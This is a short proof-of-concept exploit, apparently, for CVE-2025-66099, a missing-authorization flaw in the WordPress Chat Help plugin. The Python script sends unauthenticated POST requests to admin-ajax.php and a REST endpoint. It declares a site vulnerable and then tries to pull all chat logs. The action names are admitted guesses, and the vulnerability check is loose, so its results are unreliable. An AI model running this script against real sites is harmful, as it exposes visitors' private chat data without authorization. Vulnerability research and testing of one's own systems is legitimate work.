CVE-2025-66099 WordPress Chat Help插件访问控制漏洞

# CVE-2025-66099 PoC - WordPress Chat Help Plugin Broken Access Control # This PoC demonstrates the missing authorization vulnerability in Chat Help plugin import requests import sys TARGET_URL = "https://example.com" # Replace with target URL def check_vulnerability(): """ Check if the target WordPress site is vulnerable to CVE-2025-66099 """ # Common Chat Help AJAX endpoints endpoints = [ "/wp-admin/admin-ajax.php", "/wp-json/chat-help/v1/", ] # Check for unprotected Chat Help data retrieval # The plugin should require authentication but doesn't payload = { "action": "chat_help_get_data", # Example action name "chat_id": "1" } print("[*] Testing CVE-2025-66099 - Missing Authorization in Chat Help") print(f"[*] Target: {TARGET_URL}") for endpoint in endpoints: url = TARGET_URL + endpoint print(f"\n[*] Testing endpoint: {url}") try: # Send request without authentication response = requests.post(url, data=payload, timeout=10) # If we get a successful response with data, vulnerability exists if response.status_code == 200: # Check if response contains sensitive data if "chat" in response.text.lower() or "message" in response.text.lower(): print(f"[!] VULNERABLE: Endpoint {endpoint} returned data without auth") print(f"[+] Response preview: {response.text[:200]}...") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") print("\n[-] Target may not be vulnerable or Chat Help plugin not installed") return False def exploit_data_exposure(): """ Attempt to extract sensitive data using the vulnerability """ print("\n[*] Attempting to extract sensitive data...") # Example: Try to retrieve chat logs exploit_url = TARGET_URL + "/wp-admin/admin-ajax.php" data = { "action": "chat_help_admin_action", # May vary based on plugin version "sub_action": "get_all_chats" } try: response = requests.post(exploit_url, data=data, timeout=10) if response.status_code == 200 and "chat" in response.text: print("[!] Successfully retrieved chat data without authentication!") return response.text except requests.RequestException as e: print(f"[-] Exploitation failed: {e}") return None if __name__ == "__main__": if check_vulnerability(): print("\n[!] Target is VULNERABLE to CVE-2025-66099") exploit_data_exposure() else: print("\n[-] Target appears to be NOT vulnerable")